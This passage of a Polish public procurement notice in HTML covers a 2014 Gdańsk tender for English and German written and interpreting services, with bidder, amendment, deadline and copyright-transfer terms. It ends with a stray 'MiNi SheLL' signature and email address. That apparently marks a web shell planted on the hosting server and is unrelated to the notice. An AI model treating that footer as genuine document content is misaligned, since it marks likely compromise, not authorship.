5.	Jeżeli w kraju miejsca zamieszkania osoby lub w kraju, w którym wykonawca ma siedzibę lub miejsce zamieszkania, nie wydaje się dokumentów, o których mowa  rozdz. III.4.2 tiret drugi niniejszego ogłoszenia, zastępuje się je dokumentem zawierającym oświadczenie, w którym określa się także osoby uprawnione do reprezentacji wykonawcy, złożone przed właściwym organem sądowym, administracyjnym albo organem samorządu zawodowego lub gospodarczego odpowiednio kraju miejsca zamieszkania osoby lub kraju, w którym wykonawca ma siedzibę lub miejsce zamieszkania, lub przed notariuszem. Przepis pkt 4 stosuje się odpowiednio.
6.	W przypadku wątpliwości co do treści dokumentu złożonego przez wykonawcę mającego siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, zamawiający może zwrócić się do właściwych organów odpowiednio kraju miejsca zamieszkania osoby lub kraju, w którym wykonawca ma siedzibę lub miejsce zamieszkania, z wnioskiem o udzielenie niezbędnych informacji dotyczących przedłożonego dokumentu
7.	Wykonawca może polegać na wiedzy i doświadczeniu, potencjale technicznym oraz osobach zdolnych do wykonania zamówienia lub zdolnościach finansowych innych podmiotów, nie zależnie od charakteru prawnego łączących go z nimi stosunków. Wykonawca w takiej sytuacji zobowiązany jest udowodnić zamawiającemu, iż będzie dysponował zasobami niezbędnymi do realizacji zamówienia, w szczególności przedstawiając w tym celu pisemne zobowiązanie tych podmiotów do oddania mu do dyspozycji niezbędnych zasobów na okres korzystania z nich przy wykonywaniu zamówienia. 
8.	W przypadku wykonawców wspólnie ubiegających się o udzielenie zamówienia oraz w przypadku podmiotów o których mowa w art. 26 ust. 2 b ustawy Prawo zamówień publicznych , kopie dokumentów dotyczących odpowiednio wykonawcy lub tych podmiotów muszą być poświadczone za zgodność z oryginałem odpowiednio przez wykonawcę lub te podmioty.
9.	Wykonawcy mogą wspólnie ubiegać się o udzielenie zamówienia. 
10.	Wykonawcy występujący wspólnie ustanawiają pełnomocnika do reprezentowania ich w postępowaniu  o udzielenie zamówienia albo reprezentowania w postępowaniu i zawarcia umowy w sprawie zamówienia publicznego.
11.	Upoważnienie dla lidera musi być udokumentowane pełnomocnictwem, tj. dokumentem stwierdzającym ustanowienie pełnomocnika podpisanym przez upełnomocnionych przedstawicieli wszystkich pozostałych wykonawców. W zakresie formy, pełnomocnictwo musi odpowiadać przepisom Kodeksu Cywilnego (oryginał lub notarialnie potwierdzona kopia).
12.	Wykonawcy, o których mowa w pkt 9, ponoszą solidarną odpowiedzialność za wykonanie umowy oraz wniesienie zabezpieczenia należytego wykonania umowy.
13.	W przypadku wyboru oferty Wykonawców wspólnie ubiegających się o udzielenie zamówienia,  Zamawiający może żądać przed zawarciem umowy w sprawie zamówienia publicznego umowę regulującą współpracę tych podmiotów. (w formie oryginału lub kserokopii potwierdzonej za zgodność z oryginałem przez Wykonawcę);
14.	Każdy z wykonawców wspólnie ubiegających się o udzielenie zamówienia musi złożyć dokumenty o których mowa w rozdziale III.4.2 oraz III.4.4 niniejszego ogłoszenia (§ 5 ust. 2 a-b oraz ust. 3 SIWZ) 
15.	Wykonawcy wspólnie ubiegający się o udzielenie zamówienia złożą łącznie Formularz oferty oraz jeden komplet dokumentów, o których mowa w rozdziale III.4.1 niniejszego ogłoszenia (§ 5 ust. 1 a-c SIWZ)</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1.	Zmiany istotnych postanowień umowy mogą dotyczyć:
a) Konieczności dostosowania postanowień umownych do zmian wynikających z nowelizacji powszechnie obowiązujących przepisów prawa z uwagi na brak możliwości realizacji umowy wedle pierwotnej jej treści, lub z uwagi na rażącą stratę grożącą jednej ze Stron,
b) 	Zmian redakcyjnych Umowy, lub zmian będących następstwem zmian danych Stron ujawnionych w rejestrach publicznych oraz zmian dotyczących wskazania przedstawicieli stron wyznaczonych do prowadzenia spraw związanych z realizacja umowy,
c)  Zmiany terminu realizacji umowy, ze względu na wystąpienie okoliczności, których strony umowy nie   były w stanie przewidzieć, pomimo zachowania należytej staranności,
d)	Zmiany składu zespołu osobowego realizującego zamówienie w przypadku wystąpienia niezawinionych przez Wykonawcę szczególnych okoliczności uniemożliwiających realizację zamówienia zgodnie z ofertą i jedynie za zgodą Zamawiającego wyrażoną na piśmie. Zgoda, na dokonanie zmiany składu zespołu osobowego może zostać udzielona pod warunkiem zapewnienia przez Wykonawcę nowego/-ych członka/-ów i który/-rzy posiadać będą wykształcenie i doświadczenie co najmniej równorzędne jak wymagane przez Zamawiającego w SIWZ .
2.	Zamawiający zastrzega możliwość dokonywania zmian ilości tłumaczeń w poszczególnych rodzajach/blokach  i trybach tłumaczeń, stosownie do swoich potrzeb, w granicach wynagrodzenia Wykonawcy. Powyższa zmiana nie wymaga aneksu do umowy.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> http://www.pomorskie.eu/pl/bip/umwp/zamowienia/zamowienia<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> w siedzibie Urzędu  Marszałkowskiego w Gdańsku ul. Okopowa 21/27, pok. nr 133G.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 19.03.2014 godzina 10:00, miejsce: w Kancelarii Ogólnej Urzędu Marszałkowskiego w Gdańsku, ul. Okopowa 21/27, pokój nr 4A..</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Projekt współfinansowany ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego i Regionalnego Programu Operacyjnego 
dla Województwa Pomorskiego na lata 2007 - 2013.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Tłumaczenia pisemne - język angielski.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1. Usługa polegać będzie na wykonaniu pisemnych tłumaczeń tekstów z;na język angielski . Za jednostkę rozliczeniową tłumaczeń pisemnych uznaje się 1 stronę. Za jedną stronę tekstu tłumaczenia uznaje się stronę zawierającą 1600 znaków (bez spacji) zliczonych w dokumencie przetłumaczonym. Tłumaczenia rozlicza się w następujący sposób:  tekst do 0,5 strony (800 znaków) liczy się jako pół strony rozliczeniowej, a powyżej 0,5 strony (800 znaków) liczbę stron obliczeniowych zaokrągla się w górę do kolejnej strony.
2. Dla tłumaczeń pisemnych przewiduje się następujące terminy wykonywania zamówienia:
1) tłumaczenie w trybie zwykłym:
do 24 stron - od 3 do 6 dni  roboczych liczonych od momentu otrzymania przez Zamawiającego potwierdzenia przyjęcia zlecenia przez Wykonawcę,
2) tłumaczenie w trybie pilnym:
od 1 do 12 stron - od 1 do 3 dni roboczych liczonych od momentu otrzymania przez Zamawiającego potwierdzenia przyjęcia zlecenia przez Wykonawcę,
3) tłumaczenie w trybie ekspresowym:
od 1 do 10 stron - do 1 dnia roboczego liczonego od momentu otrzymania przez Zamawiającego potwierdzenia przyjęcia zlecenia przez Wykonawcę.

3. Terminy tłumaczenia tekstów dłuższych niż wymienione w ust. 2 pkt 1  podlegać będą każdorazowemu uzgodnieniu z Wykonawcą, przy czym ostateczny termin realizacji nie przekroczy okresu do 2- 3 miesięcy.
4. Tłumaczenie pisemne powinno być dostarczone na koszt Wykonawcy, na adres wskazany przez Zamawiającego w formie pisemnej, elektronicznej lub w inny sposób ustalony przez Zamawiającego z Wykonawcą przy udzieleniu zlecenia bieżącego. 
5. Z chwilą przekazania Zamawiającemu tłumaczeń pisemnych, Wykonawca przenosi na rzecz Zamawiającego autorskie prawa majątkowe do tłumaczeń, na czas nieokreślony, bez ograniczenia co do terytorium, na następujących polach eksploatacji:
a.	utrwalanie dowolną techniką znaną w dniu zawarcia umowy, na wszelkiego rodzaju nośnikach, w szczególności: drukiem w dowolnej formie (w tym: w twardej i miękkiej oprawie, wydaniach broszurowych, pismem Braillea) i dowolnej technice (w tym: reprograficznej, cyfrowej, elektronicznej, audiowizualnej), na nośnikach fonicznych - audiobooki i na nośnikach informatycznych (w tym w formie e-booków),
b)	zwielokrotnianie dowolną techniką znaną w dniu zawarcia umowy, na wszelkiego rodzaju nośnikach, w szczególności: drukiem w dowolnej formie (w tym: w twardej i miękkiej oprawie, wydaniach broszurowych, pismem Braillea) i dowolnej technice (w tym: reprograficznej, cyfrowej, elektronicznej, audiowizualnej, na nośnikach fonicznych - audiobooki) i na nośnikach informatycznych (w tym w formie e-booków),
c)	wprowadzanie do obrotu oryginału i wytworzonych egzemplarzy,
d)	wprowadzanie do pamięci komputera i wykorzystywanie w sieci Internet,
e)	publicznie wykonywanie i publicznie prezentowanie, 
f)	wystawianie,
g)	wyświetlanie,
h)	wypożyczanie i wynajmowanie oryginału i wytworzonych egzemplarzy,
i)	wykorzystywanie fragmentów tłumaczeń do reklamy i promocji działań prowadzonych przez Zamawiającego,
j)	wielokrotne wykorzystanie, w tym w kolejnych dodrukach w nieograniczonej liczbie egzemplarzy w tym także w wersjach obcojęzycznych,
k)	udostępnianie do wykorzystania instytucjom oraz osobom trzecim w ramach potrzeb Zamawiającego,
l)	wykorzystanie we wszelkiego rodzaju mediach..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.12.2014.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> Tłumaczenia konsekutywne i symultaniczne  - język angielski.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Usługa polegać będzie na wykonaniu ustnych tłumaczeń konsekutywnych i symultanicznych z/na język angielski  w siedzibie Zamawiającego lub w innym miejscu przez niego wskazanym. Przy tłumaczeniach ustnych konsekutywnych, Wykonawca (tłumacz) winien stawić się w miejscu wskazanym przez Zamawiającego, przy czym Zamawiający jest zobowiązany do zgłoszenia zapotrzebowania na tłumaczenie ustne konsekutywne co najmniej 24 godziny przed terminem tłumaczenia. Usługi będą świadczone na terenie Polski. 
W przypadku świadczenia usług poza terenem Trójmiasta Zamawiający zapewni Wykonawcy (tłumaczowi), jeżeli to będzie możliwe, transport ze swojej siedziby do miejsca tłumaczenia i z powrotem, zakwaterowanie oraz wyżywienie. 
W przypadku, gdy Zamawiający nie będzie mógł zapewnić Wykonawcy (tłumaczowi) transportu, wyżywienia lub zakwaterowania, Zamawiający zwróci Wykonawcy poniesione przez niego koszty dot. wyżywienia, transportu lub zakwaterowania według zasad i w maksymalnej wysokości określonych w Rozporządzeniu Ministra Pracy i Polityki Społecznej z dnia 29 stycznia 2013 r. w sprawie należności przysługujących pracownikowi zatrudnionemu w państwowej lub samorządowej jednostce sfery budżetowej z tytułu podróży służbowej na podstawie przedstawionych kopii dokumentów (rachunków). Maksymalne koszty związane z wyżywieniem, noclegiem i transportem Wykonawcy w przeliczeniu na jedną osobo - dobę nie przekroczą kwoty 1.500 zł brutto.  
Przy każdorazowym zleceniu usługi poza terenem Trójmiasta, w przypadku gdy może powstać konieczność zwrotu Wykonawcy poniesionych kosztów związanych z transportem, noclegiem i wyżywieniem, Wykonawca  jest zobowiązany przed realizacja zlecenia przedstawić kosztorys dot. transportu, wyżywienia i zakwaterowania do akceptacji Zamawiającego. Brak akceptacji spowoduje, że Wykonawca sam pokryje ww. koszty. 
W przypadku świadczenia usług na terenie Trójmiasta oraz w przypadku przekroczenia maksymalnych kosztów transportu, wyżywienia i zakwaterowania podlegających rozliczeniu, określonych w szczegółowym opisie przedmiotu zamówienia Wykonawca ponosi koszty transportu, wyżywienia i zakwaterowania we własnym zakresie. 
W przypadku tłumaczenia symultanicznego na terenie Trójmiasta i konieczności przeprowadzenia tzw. próby generalnej sprzętu, wymagane będzie stawienie się Wykonawcy w wyznaczonym terminie przez Zamawiającego. Przy próbie generalnej Zamawiający nie pokrywa kosztów transportu, wyżywienia i zakwaterowania tłumaczy. 
W przypadku tłumaczenia symultanicznego poza siedzibą Zamawiającego na terenie Polski, Zamawiający gwarantuje niezbędny sprzęt do tłumaczenia symultanicznego.  
Jeżeli Wykonawcy nie odpowiadają warunki techniczne sprzętu do tłumaczenia symultanicznego zapewnionego przez Zamawiającego, może zamówić sprzęt niezbędny do tego rodzaju tłumaczeń na własny koszt..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.54.00.00-1.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.12.2014.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 3 <b>NAZWA:</b> - Tłumaczenia pisemne - język niemiecki.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1. Usługa polegać będzie na wykonaniu pisemnych tłumaczeń tekstów  z/na język niemiecki. Za jednostkę rozliczeniową tłumaczeń pisemnych uznaje się 1 stronę. Za jedną stronę tekstu tłumaczenia uznaje się stronę zawierającą 1600 znaków (bez spacji) zliczonych w dokumencie przetłumaczonym. Tłumaczenia rozlicza się w następujący sposób:  tekst do 0,5 strony (800 znaków) liczy się jako pół strony rozliczeniowej, a powyżej 0,5 strony (800 znaków) liczbę stron obliczeniowych zaokrągla się w górę do kolejnej strony.
2. Dla tłumaczeń pisemnych przewiduje się następujące terminy wykonywania zamówienia:
1) tłumaczenie w trybie zwykłym:
do 24 stron - od 3 do 6 dni  roboczych liczonych od momentu otrzymania przez Zamawiającego potwierdzenia przyjęcia zlecenia przez Wykonawcę,
2) tłumaczenie w trybie pilnym:
od 1 do 12 stron - od 1 do 3 dni roboczych liczonych od momentu otrzymania przez Zamawiającego potwierdzenia przyjęcia zlecenia przez Wykonawcę,
3) tłumaczenie w trybie ekspresowym:
od 1 do 10 stron - do 1 dnia roboczego liczonego od momentu otrzymania przez Zamawiającego potwierdzenia przyjęcia zlecenia przez Wykonawcę.

3. Terminy tłumaczenia tekstów dłuższych niż wymienione w ust. 2 pkt 1  podlegać będą każdorazowemu uzgodnieniu z Wykonawcą, przy czym ostateczny termin realizacji nie przekroczy okresu do 2- 3 miesięcy.
4. Tłumaczenie pisemne powinno być dostarczone na koszt Wykonawcy, na adres wskazany przez Zamawiającego w formie pisemnej, elektronicznej lub w inny sposób ustalony przez Zamawiającego z Wykonawcą przy udzieleniu zlecenia bieżącego. 
5. Z chwilą przekazania Zamawiającemu tłumaczeń pisemnych, Wykonawca przenosi na rzecz Zamawiającego autorskie prawa majątkowe do tłumaczeń, na czas nieokreślony, bez ograniczenia co do terytorium, na następujących polach eksploatacji:
a.	utrwalanie dowolną techniką znaną w dniu zawarcia umowy, na wszelkiego rodzaju nośnikach, w szczególności: drukiem w dowolnej formie (w tym: w twardej i miękkiej oprawie, wydaniach broszurowych, pismem Braillea) i dowolnej technice (w tym: reprograficznej, cyfrowej, elektronicznej, audiowizualnej), na nośnikach fonicznych - audiobooki i na nośnikach informatycznych (w tym w formie             e-booków),
b)	zwielokrotnianie dowolną techniką znaną w dniu zawarcia umowy, na wszelkiego rodzaju nośnikach, w szczególności: drukiem w dowolnej formie (w tym: w twardej i miękkiej oprawie, wydaniach broszurowych, pismem Braillea) i dowolnej technice (w tym: reprograficznej, cyfrowej, elektronicznej, audiowizualnej, na nośnikach fonicznych - audiobooki) i na nośnikach informatycznych (w tym w formie e-booków),
c)	wprowadzanie do obrotu oryginału i wytworzonych egzemplarzy,
d)	wprowadzanie do pamięci komputera i wykorzystywanie w sieci Internet,
e)	publicznie wykonywanie i publicznie prezentowanie, 
f)	wystawianie,
g)	wyświetlanie,
h)	wypożyczanie i wynajmowanie oryginału i wytworzonych egzemplarzy,
i)	wykorzystywanie fragmentów tłumaczeń do reklamy i promocji działań prowadzonych przez Zamawiającego,
j)	wielokrotne wykorzystanie, w tym w kolejnych dodrukach w nieograniczonej liczbie egzemplarzy w tym także w wersjach obcojęzycznych,
k)	udostępnianie do wykorzystania instytucjom oraz osobom trzecim w ramach potrzeb Zamawiającego,
l)	wykorzystanie we wszelkiego rodzaju mediach..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.12.2014.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 4 <b>NAZWA:</b> Tłumaczenia konsekutywne i symultaniczne  - język niemiecki.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Usługa polegać będzie na wykonaniu ustnych tłumaczeń konsekutywnych i symultanicznych  z /na język niemiecki w siedzibie Zamawiającego lub w innym miejscu przez niego wskazanym. Przy tłumaczeniach ustnych konsekutywnych, Wykonawca (tłumacz) winien stawić się w miejscu wskazanym przez Zamawiającego, przy czym Zamawiający jest zobowiązany do zgłoszenia zapotrzebowania na tłumaczenie ustne konsekutywne co najmniej 24 godziny przed terminem tłumaczenia. Usługi będą świadczone na terenie Polski. 
W przypadku świadczenia usług poza terenem Trójmiasta Zamawiający zapewni Wykonawcy (tłumaczowi), jeżeli to będzie możliwe, transport ze swojej siedziby do miejsca tłumaczenia i z powrotem, zakwaterowanie oraz wyżywienie. 
W przypadku, gdy Zamawiający nie będzie mógł zapewnić Wykonawcy (tłumaczowi) transportu, wyżywienia lub zakwaterowania, Zamawiający zwróci Wykonawcy poniesione przez niego koszty dot. wyżywienia, transportu lub zakwaterowania według zasad i w maksymalnej wysokości określonych w Rozporządzeniu Ministra Pracy i Polityki Społecznej z dnia 29 stycznia 2013 r. w sprawie należności przysługujących pracownikowi zatrudnionemu w państwowej lub samorządowej jednostce sfery budżetowej z tytułu podróży służbowej na podstawie przedstawionych kopii dokumentów (rachunków). Maksymalne koszty związane z wyżywieniem, noclegiem i transportem Wykonawcy w przeliczeniu na jedną osobo - dobę nie przekroczą kwoty 1.500 zł brutto.  
Przy każdorazowym zleceniu usługi poza terenem Trójmiasta, w przypadku gdy może powstać konieczność zwrotu Wykonawcy poniesionych kosztów związanych z transportem, noclegiem i wyżywieniem, Wykonawca  jest zobowiązany przed realizacja zlecenia przedstawić kosztorys dot. transportu, wyżywienia i zakwaterowania do akceptacji Zamawiającego. Brak akceptacji spowoduje, że Wykonawca sam pokryje ww. koszty. 
W przypadku świadczenia usług na terenie Trójmiasta oraz w przypadku przekroczenia maksymalnych kosztów transportu, wyżywienia i zakwaterowania podlegających rozliczeniu, określonych w szczegółowym opisie przedmiotu zamówienia Wykonawca ponosi koszty transportu, wyżywienia i zakwaterowania we własnym zakresie. 
W przypadku tłumaczenia symultanicznego na terenie Trójmiasta i konieczności przeprowadzenia tzw. próby generalnej sprzętu, wymagane będzie stawienie się Wykonawcy w wyznaczonym terminie przez Zamawiającego. Przy próbie generalnej Zamawiający nie pokrywa kosztów transportu, wyżywienia i zakwaterowania tłumaczy. 
W przypadku tłumaczenia symultanicznego poza siedzibą Zamawiającego na terenie Polski, Zamawiający gwarantuje niezbędny sprzęt do tłumaczenia symultanicznego.  
Jeżeli Wykonawcy nie odpowiadają warunki techniczne sprzętu do tłumaczenia symultanicznego zapewnionego przez Zamawiającego, może zamówić sprzęt niezbędny do tego rodzaju tłumaczeń na własny koszt..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.54.00.00-1.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.12.2014.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com